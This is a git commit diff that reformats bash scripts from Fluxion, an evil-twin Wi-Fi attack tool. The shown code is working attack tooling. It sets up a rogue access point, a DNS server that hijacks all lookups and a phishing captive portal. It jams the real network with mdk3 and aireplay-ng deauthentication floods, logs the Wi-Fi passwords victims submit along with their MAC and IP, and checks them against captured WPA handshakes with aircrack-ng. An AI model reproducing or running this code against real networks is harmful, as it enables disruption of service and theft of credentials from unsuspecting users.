Set styleguide and minor changes

This commit is contained in:
William Todt 2017-12-31 17:02:12 +01:00
parent 16932796c0
commit 26fec898e1
21 changed files with 2075 additions and 1998 deletions

View File

@ -22,15 +22,17 @@ function captive_portal_run_interface() {
local wiAccessPoint="FX${1:2}AP"
# Find interface's physical device.
if ! interface_physical "$1"
then echo -e "$FLUXIONVLine $FLUXIONPhysicalWIDeviceUnknownError"; sleep 5; return 1
if ! interface_physical "$1"; then
echo -e "$FLUXIONVLine $FLUXIONPhysicalWIDeviceUnknownError"
sleep 5
return 1
fi
local wiAccessPointDevice="$InterfacePhysical"
# Create the new virtual interface with the generated identifier.
echo -e "$FLUXIONVLine $CaptivePortalStartingInterfaceNotice"
if ! iw phy $wiAccessPointDevice interface add $wiAccessPoint type monitor 2> $FLUXIONOutputDevice; then
if ! iw phy $wiAccessPointDevice interface add $wiAccessPoint type monitor 2>$FLUXIONOutputDevice; then
echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError"
sleep 5
return 3
@ -45,13 +47,12 @@ function captive_portal_run_interface() {
function captive_portal_unset_interface() {
if [ ! "$WIAccessPoint" ]; then return 1; fi
if interface_is_wireless "$WIAccessPoint"
then fluxion_unset_ap_service
if interface_is_wireless "$WIAccessPoint"; then fluxion_unset_ap_service
fi
if [ "$WIAccessPoint" = "FX${WIMonitor:2}AP" ]; then
# Remove any previously created fluxion AP interfaces.
iw dev "$WIAccessPoint" del &> $FLUXIONOutputDevice
iw dev "$WIAccessPoint" del &>$FLUXIONOutputDevice
fi
WIAccessPoint=""
@ -77,29 +78,32 @@ function captive_portal_set_interface() {
ifAlternate[@] ifAlternateInfo[@] ifAlternateState[@] ifAlternateColor[@]
case "$InterfacePromptIfSelected" in
"$FLUXIONGeneralBackOption") captive_portal_unset_interface; return 1;;
"$FLUXIONGeneralBackOption")
captive_portal_unset_interface
return 1
;;
# If the monitor interface is also the AP interface,
# there's no need to reserve it again, just add it.
"$WIMonitor")
if ! captive_portal_run_interface "$InterfacePromptIfSelected"
then return 1
if ! captive_portal_run_interface "$InterfacePromptIfSelected"; then return 1
fi
WIAccessPoint="$CaptivePortalRunInterface";;
WIAccessPoint="$CaptivePortalRunInterface"
;;
*)
# We'll only attempt to run wireless interfaces for now.
# The conditional below is a temporary fix for ethernet interfaces.
# TODO: Fix fluxion_run_interface to accept non-wireless interfaces.
if interface_is_wireless "$InterfacePromptIfSelected"; then
if ! fluxion_run_interface "$InterfacePromptIfSelected"
then return 2
if ! fluxion_run_interface "$InterfacePromptIfSelected"; then return 2
fi
WIAccessPoint="$FluxionRunInterface"
else
WIAccessPoint="$InterfacePromptIfSelected"
fi;;
fi
;;
esac
VIGW=$WIAccessPoint
@ -107,8 +111,9 @@ function captive_portal_set_interface() {
# Set an AP service if the interface selected is wireless.
if interface_is_wireless "$WIAccessPoint"; then
if ! fluxion_set_ap_service
then captive_portal_unset_interface; return 1
if ! fluxion_set_ap_service; then
captive_portal_unset_interface
return 1
fi
fi
}
@ -117,7 +122,7 @@ function captive_portal_unset_auth() {
if [ ! "$APRogueAuthMode" ]; then return 0; fi
case "$APRogueAuthMode" in
"hash") fluxion_unset_hash;;
"hash") fluxion_unset_hash ;;
esac
APRogueAuthMode=""
@ -132,7 +137,7 @@ function captive_portal_unset_auth() {
function captive_portal_set_auth() {
if [ "$APRogueAuthMode" ]; then
echo "Captive Portal authentication mode is already set, skipping!" > $FLUXIONOutputDevice
echo "Captive Portal authentication mode is already set, skipping!" >$FLUXIONOutputDevice
return 0
fi
@ -142,7 +147,7 @@ function captive_portal_set_auth() {
if [ ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \
${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a "$FLUXIONAuto" ]; then
APRogueAuthMode="${CaptivePortalAuthenticationMethods[0]}"
echo "Auto-selected authentication method: $APRogueAuthMode" > $FLUXIONOutputDevice
echo "Auto-selected authentication method: $APRogueAuthMode" >$FLUXIONOutputDevice
else
fluxion_header
@ -160,20 +165,25 @@ function captive_portal_set_auth() {
APRogueAuthMode="${IOQueryFormatFields[0]}"
# If we're going back, reset everything and abort.
if [[ "$APRogueAuthMode" = "$FLUXIONGeneralBackOption" ]]
then captive_portal_unset_auth; return 1
if [[ "$APRogueAuthMode" == "$FLUXIONGeneralBackOption" ]]; then
captive_portal_unset_auth
return 1
fi
fi
# Process the authentication method selected.
captive_portal_set_auth_processingResult=1 # Assume failure.
case "$APRogueAuthMode" in
"hash") fluxion_set_hash; captive_portal_set_auth_processingResult=$?;;
"hash")
fluxion_set_hash
captive_portal_set_auth_processingResult=$?
;;
esac
# Assure authentication method processing was successful, abort otherwise.
if [[ $captive_portal_set_auth_processingResult -ne 0 ]]
then captive_portal_unset_auth; return 1;
if [[ $captive_portal_set_auth_processingResult -ne 0 ]]; then
captive_portal_unset_auth
return 1
fi
}
@ -190,7 +200,7 @@ function captive_portal_unset_cert() {
# Create Self-Signed SSL Certificate
function captive_portal_set_cert() {
if [ "$CaptivePortalSSL" ]; then
echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" > $FLUXIONOutputDevice
echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" >$FLUXIONOutputDevice
return 0
fi
@ -205,14 +215,15 @@ function captive_portal_set_cert() {
CaptivePortalSSL="enabled" # Must be enabled if sourcing own certificate
echo "Captive Portal certificate was user supplied, skipping query!" > $FLUXIONOutputDevice
return 0;
echo "Captive Portal certificate was user supplied, skipping query!" >$FLUXIONOutputDevice
return 0
fi
if [ "$FLUXIONAuto" ]; then
# If cert generator fails, gtfo, something broke!
if ! captive_portal_run_certificate_generator
then fluxion_conditional_bail "cert-gen failed!"; return 2
if ! captive_portal_run_certificate_generator; then
fluxion_conditional_bail "cert-gen failed!"
return 2
fi
CaptivePortalSSL="enabled"
else
@ -225,19 +236,31 @@ function captive_portal_set_cert() {
case "$IOQueryChoice" in
"$CaptivePortalCertificateSourceGenerateOption")
# If cert generator fails, gtfo, something broke!
if ! captive_portal_run_certificate_generator
then fluxion_conditional_bail "cert-gen failed!"; return 2
if ! captive_portal_run_certificate_generator; then
fluxion_conditional_bail "cert-gen failed!"
return 2
fi
CaptivePortalSSL="enabled";;
CaptivePortalSSL="enabled"
;;
"$CaptivePortalCertificateSourceRescanOption")
captive_portal_set_cert; return $?;;
captive_portal_set_cert
return $?
;;
"$CaptivePortalCertificateSourceDisabledOption")
captive_portal_unset_cert; CaptivePortalSSL="disabled";;
captive_portal_unset_cert
CaptivePortalSSL="disabled"
;;
"$FLUXIONGeneralBackOption") captive_portal_unset_cert; return 1;;
*) fluxion_conditional_bail "Unknown cert-gen option!"; return 2;;
"$FLUXIONGeneralBackOption")
captive_portal_unset_cert
return 1
;;
*)
fluxion_conditional_bail "Unknown cert-gen option!"
return 2
;;
esac
fi
}
@ -255,10 +278,16 @@ function captive_portal_set_conn() {
io_query_choice "$CaptivePortalConnectivityQuery" choices[@]
case "$IOQueryChoice" in
"$CaptivePortalConnectivityDisconnectedOption") CaptivePortalConnectivity="disconnected";;
"$CaptivePortalConnectivityEmulatedOption") CaptivePortalConnectivity="emulated";;
"$FLUXIONGeneralBackOption") captive_portal_unset_conn; return 1;;
*) fluxion_conditional_bail "Unknown connectivity option!"; return 2;;
"$CaptivePortalConnectivityDisconnectedOption") CaptivePortalConnectivity="disconnected" ;;
"$CaptivePortalConnectivityEmulatedOption") CaptivePortalConnectivity="emulated" ;;
"$FLUXIONGeneralBackOption")
captive_portal_unset_conn
return 1
;;
*)
fluxion_conditional_bail "Unknown connectivity option!"
return 2
;;
esac
}
@ -268,8 +297,8 @@ function captive_portal_unset_site() {
function captive_portal_set_site() {
if [ -d "$FLUXIONWorkspacePath/captive_portal" ]; then
echo "Captive Portal site (interface) is already set, skipping!" > $FLUXIONOutputDevice
return 0;
echo "Captive Portal site (interface) is already set, skipping!" >$FLUXIONOutputDevice
return 0
fi
captive_portal_unset_site
@ -280,7 +309,7 @@ function captive_portal_set_site() {
if [ -d attacks/Captive\ Portal/generic/languages ]; then
# Retrieve all generic sites available.
for site in attacks/Captive\ Portal/generic/languages/*.lang; do
sites+=("${CaptivePortalGenericInterfaceOption}_`basename "${site%.lang}"`")
sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")")
done
fi
@ -289,7 +318,7 @@ function captive_portal_set_site() {
# Retrieve all available portal sites and
# store them without the .portal extension.
for site in attacks/Captive\ Portal/sites/*.portal; do
sites+=("`basename "${site%.portal}"`")
sites+=("$(basename "${site%.portal}")")
done
fi
@ -319,15 +348,18 @@ function captive_portal_set_site() {
case "$site" in
"$CaptivePortalGenericInterfaceOption")
source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang"
captive_portal_generic;;
captive_portal_generic
;;
"$FLUXIONGeneralBackOption")
captive_portal_unset_site
return 1;;
* )
return 1
;;
*)
cp -r "$FLUXIONPath/attacks/Captive Portal/sites/$sitePath.portal" \
"$FLUXIONWorkspacePath/captive_portal"
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec sed -i -e 's/$APTargetSSID/'"${APTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${APTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${APTargetChannel//\//\\\/}"'/g' {} \;;;
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec sed -i -e 's/$APTargetSSID/'"${APTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${APTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${APTargetChannel//\//\\\/}"'/g' {} \;
;;
esac
}
@ -340,8 +372,7 @@ function captive_portal_unset_attack() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
# Only reset the AP if one has been defined.
if [ "$APRogueService" -a "`type -t ap_reset`" ]
then ap_reset
if [ "$APRogueService" -a "$(type -t ap_reset)" ]; then ap_reset
fi
}
@ -385,8 +416,7 @@ function captive_portal_get_MAC_brand() {
# Create different settings required for the script
function captive_portal_set_attack() {
# AP Service: Prepare service for an attack.
if [ "$APRogueService" ]
then ap_prep
if [ "$APRogueService" ]; then ap_prep
fi
# Add the PHP authenticator scripts, used to verify
@ -421,7 +451,7 @@ subnet $VIGWNetwork.0 netmask 255.255.255.0 {
range $VIGWNetwork.100 $VIGWNetwork.254;
}\
" > "$FLUXIONWorkspacePath/dhcpd.conf"
" >"$FLUXIONWorkspacePath/dhcpd.conf"
#create an empty leases file
touch "$FLUXIONWorkspacePath/dhcpd.leases"
@ -480,7 +510,7 @@ index-file.names = (
\"index.html\",
\"index.php\"
)
" > "$FLUXIONWorkspacePath/lighttpd.conf"
" >"$FLUXIONWorkspacePath/lighttpd.conf"
# Configure lighttpd's SSL only if we've got a certificate and its key.
if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then
@ -489,7 +519,7 @@ index-file.names = (
ssl.engine = \"enable\"
ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\"
}
" >> "$FLUXIONWorkspacePath/lighttpd.conf"
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
fi
if [ "$CaptivePortalConnectivity" = "emulated" ]; then
@ -506,7 +536,7 @@ index-file.names = (
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\"
url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" )
}
" >> "$FLUXIONWorkspacePath/lighttpd.conf"
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
else
echo "\
# Redirect all traffic to the captive portal when not emulating a connection.
@ -516,7 +546,7 @@ index-file.names = (
\"^/(.*)\" => \"http://captive.gateway.lan/\",
)
}
" >> "$FLUXIONWorkspacePath/lighttpd.conf"
" >>"$FLUXIONWorkspacePath/lighttpd.conf"
fi
# Create a DNS service with python, forwarding all traffic to gateway.
@ -564,7 +594,7 @@ if __name__ == '__main__':
except KeyboardInterrupt:
print 'Finalizando'
udps.close()\
" > "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
@ -652,7 +682,7 @@ while [ \$AuthenticatorState = \"running\" ]; do
echo -n > \"$FLUXIONWorkspacePath/ip_hits\"
fi
" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
if [ $APRogueAuthMode = "hash" ]; then
echo "
@ -668,7 +698,7 @@ while [ \$AuthenticatorState = \"running\" ]; do
echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
fi
fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
fi" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
fi
local staticSSID=$(printf "%q" "$APTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g")
@ -709,12 +739,11 @@ while [ \$AuthenticatorState = \"running\" ]; do
echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\"
done
echo -ne \"\033[K\033[u\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
if [ $APRogueAuthMode = "hash" ]; then
echo "
sleep 1" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
fi
echo "
@ -741,12 +770,12 @@ Time: \$ih\$h:\$im\$m:\$is\$s
Password: \$(cat $FLUXIONWorkspacePath/candidate.txt)
Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand))
IP: $(captive_portal_get_client_IP)
\" >\"$CaptivePortalNetLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.log\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
\" >\"$CaptivePortalNetLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.log\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
if [ $APRogueAuthMode = "hash" ]; then
echo "
aircrack-ng -a 2 -b $APTargetMAC -0 -s \"$FLUXIONWorkspacePath/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.cap\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.log"$CClr"\"\
" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
fi
chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
@ -758,7 +787,7 @@ function captive_portal_generic() {
mkdir "$FLUXIONWorkspacePath/captive_portal"
fi
base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" > "$FLUXIONWorkspacePath/file.zip"
base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" >"$FLUXIONWorkspacePath/file.zip"
unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice
sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip"
@ -788,7 +817,7 @@ function captive_portal_generic() {
</div>
</div>
</body>
</html>" > "$FLUXIONWorkspacePath/captive_portal/final.html"
</html>" >"$FLUXIONWorkspacePath/captive_portal/final.html"
echo "\
<!DOCTYPE html>
@ -818,7 +847,7 @@ function captive_portal_generic() {
</div>
</div>
</body>
</html>" > "$FLUXIONWorkspacePath/captive_portal/error.html"
</html>" >"$FLUXIONWorkspacePath/captive_portal/error.html"
echo "\
<!DOCTYPE html>
@ -875,12 +904,12 @@ function captive_portal_generic() {
});
</script>
</body>
</html>" > "$FLUXIONWorkspacePath/captive_portal/index.html"
</html>" >"$FLUXIONWorkspacePath/captive_portal/index.html"
}
function captive_portal_unset_routes() {
if [ -f "$FLUXIONWorkspacePath/iptables-rules" ];then
iptables-restore < "$FLUXIONWorkspacePath/iptables-rules" &> $FLUXIONOutputDevice
if [ -f "$FLUXIONWorkspacePath/iptables-rules" ]; then
iptables-restore <"$FLUXIONWorkspacePath/iptables-rules" &>$FLUXIONOutputDevice
sandbox_remove_workfile "$FLUXIONWorkspacePath/iptables-rules"
else
iptables --flush
@ -891,11 +920,11 @@ function captive_portal_unset_routes() {
# Restore system's original forwarding state
if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then
sysctl -w net.ipv4.ip_forward=$(cat "$FLUXIONWorkspacePath/ip_forward") &> $FLUXIONOutputDevice
sysctl -w net.ipv4.ip_forward=$(cat "$FLUXIONWorkspacePath/ip_forward") &>$FLUXIONOutputDevice
sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward"
fi
ip addr del $VIGWAddress/24 dev $VIGW 2> /dev/null
ip addr del $VIGWAddress/24 dev $VIGW 2>/dev/null
}
# Set up DHCP / WEB server
@ -911,7 +940,7 @@ function captive_portal_set_routes() {
# Activate system IPV4 packet routing/forwarding.
sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice
iptables-save > "$FLUXIONWorkspacePath/iptables-rules"
iptables-save >"$FLUXIONWorkspacePath/iptables-rules"
iptables --flush
iptables --table nat --flush
@ -929,8 +958,7 @@ function captive_portal_set_routes() {
function captive_portal_stop_interface() {
captive_portal_unset_routes
if [ "$APRogueService" ]
then ap_stop
if [ "$APRogueService" ]; then ap_stop
fi
}
@ -960,8 +988,8 @@ function captive_portal_start_interface() {
captive_portal_set_routes &
sleep 3
fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice
fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice
fuser -n tcp -k 53 67 80 443 &>$FLUXIONOutputDevice
fuser -n udp -k 53 67 80 443 &>$FLUXIONOutputDevice
}
function unprep_attack() {
@ -976,21 +1004,32 @@ function unprep_attack() {
function prep_attack() {
while true; do
captive_portal_set_interface; if [ $? -ne 0 ]; then break; fi
captive_portal_set_auth; if [ $? -ne 0 ]; then
captive_portal_unset_interface; continue
captive_portal_set_interface
if [ $? -ne 0 ]; then break; fi
captive_portal_set_auth
if [ $? -ne 0 ]; then
captive_portal_unset_interface
continue
fi
captive_portal_set_cert; if [ $? -ne 0 ]; then
captive_portal_unset_auth; continue
captive_portal_set_cert
if [ $? -ne 0 ]; then
captive_portal_unset_auth
continue
fi
captive_portal_set_conn; if [ $? -ne 0 ]; then
captive_portal_unset_cert; continue
captive_portal_set_conn
if [ $? -ne 0 ]; then
captive_portal_unset_cert
continue
fi
captive_portal_set_site; if [ $? -ne 0 ]; then
captive_portal_unset_conn; continue
captive_portal_set_site
if [ $? -ne 0 ]; then
captive_portal_unset_conn
continue
fi
captive_portal_set_attack; if [ $? -ne 0 ]; then
captive_portal_unset_site; continue
captive_portal_set_attack
if [ $? -ne 0 ]; then
captive_portal_unset_site
continue
fi
CaptivePortalState="Ready"
break
@ -999,7 +1038,7 @@ function prep_attack() {
# Check for prep abortion.
if [ "$CaptivePortalState" != "Ready" ]; then
unprep_attack
return 1;
return 1
fi
}
@ -1011,32 +1050,32 @@ function stop_attack() {
if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi
if [ "$CaptivePortalJammerServiceXtermPID" ]; then
kill $(pgrep -P $CaptivePortalJammerServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
kill $(pgrep -P $CaptivePortalJammerServiceXtermPID 2>$FLUXIONOutputDevice) &>$FLUXIONOutputDevice
CaptivePortalJammerServiceXtermPID="" # Clear parent PID
fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
# Kill captive portal web server log viewer.
if [ "$CaptivePortalWebServiceXtermPID" ]; then
kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice
kill $CaptivePortalWebServiceXtermPID &>$FLUXIONOutputDevice
CaptivePortalWebServiceXtermPID="" # Clear service PID
fi
# Kill captive portal web server.
if [ "$CaptivePortalWebServicePID" ]; then
kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice
kill $CaptivePortalWebServicePID &>$FLUXIONOutputDevice
CaptivePortalWebServicePID="" # Clear service PID
fi
# Kill python DNS service if one is found.
if [ "$CaptivePortalDNSServiceXtermPID" ]; then
kill $(pgrep -P $CaptivePortalDNSServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
kill $(pgrep -P $CaptivePortalDNSServiceXtermPID 2>$FLUXIONOutputDevice) &>$FLUXIONOutputDevice
CaptivePortalDNSServiceXtermPID="" # Clear parent PID
fi
# Kill DHCP service.
if [ "$CaptivePortalDHCPServiceXtermPID" ]; then
kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID 2>$FLUXIONOutputDevice) &>$FLUXIONOutputDevice
CaptivePortalDHCPServiceXtermPID="" # Clear parent PID
fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt"
@ -1064,14 +1103,14 @@ function start_attack() {
CaptivePortalDNSServiceXtermPID=$! # Save parent's pid, to get to child later.
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &>$FLUXIONOutputDevice
CaptivePortalWebServicePID=$!
xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" -title "FLUXION Web Service" -e "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" &
CaptivePortalWebServiceXtermPID=$!
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
echo -e "$APTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst"
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" -title "FLUXION AP Jammer Service [$APTargetSSID]" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
CaptivePortalJammerServiceXtermPID=$! # Save parent's pid, to get to child later.

View File

@ -15,14 +15,13 @@ function handshake_snooper_arbiter_daemon() {
function handshake_snooper_arbiter_daemon_abort() {
handshake_snooper_arbiter_daemon_state="aborted"
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]
then kill $handshake_snooper_arbiter_daemon_viewerPID
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID
fi
handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >> "$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
exit 2
}
@ -38,7 +37,7 @@ function handshake_snooper_arbiter_daemon() {
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
local handshake_snooper_arbiter_daemon_viewerPID=$!
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" > "$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_start_captor
handshake_snooper_start_deauthenticator
@ -47,20 +46,21 @@ function handshake_snooper_arbiter_daemon() {
# Keep snooping and verifying until we've got a valid hash from the capture file.
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
echo -e "[$(env -i date '+%H:%M:%S')] `io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice`" >> "$FLUXIONWorkspacePath/handshake_snooper.log"
sleep $HANDSHAKEVerifierInterval & wait $! # Using wait to asynchronously catch flags while waiting.
echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
sleep $HANDSHAKEVerifierInterval &
wait $! # Using wait to asynchronously catch flags while waiting.
# If synchronously searching, stop the captor and deauthenticator before checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
else
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> $FLUXIONOutputDevice
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice
fi
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC"
handshake_snooper_arbiter_daemon_verified=$?
@ -78,8 +78,8 @@ function handshake_snooper_arbiter_daemon() {
handshake_snooper_stop_captor
local completionTime=$(env -i date '+%H:%M:%S')
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> "$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
# Assure we've got a directory to store hashes into.
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
@ -92,8 +92,7 @@ function handshake_snooper_arbiter_daemon() {
}
function handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ]
then kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice
fi
HANDSHAKECaptorPID=""
@ -110,14 +109,14 @@ function handshake_snooper_start_captor() {
local parentPID=$!
while [ ! "$HANDSHAKECaptorPID" ]; do
sleep 1 & wait $!
sleep 1 &
wait $!
HANDSHAKECaptorPID=$(pgrep -P $parentPID)
done
}
function handshake_snooper_stop_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]
then kill $HANDSHAKEDeauthenticatorPID &> $FLUXIONOutputDevice
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
fi
HANDSHAKEDeauthenticatorPID=""
@ -131,17 +130,21 @@ function handshake_snooper_start_deauthenticator() {
# Prepare deauthenticators
case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
esac
# Start deauthenticators.
case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperAireplayMethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"$HandshakeSnooperAireplayMethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
HANDSHAKEDeauthenticatorPID=$!;;
"$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
HANDSHAKEDeauthenticatorPID=$!
;;
"$HandshakeSnooperMdk3MethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
HANDSHAKEDeauthenticatorPID=$!;;
HANDSHAKEDeauthenticatorPID=$!
;;
esac
}
@ -182,11 +185,12 @@ function handshake_snooper_set_verifier_identifier() {
echo
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit";;
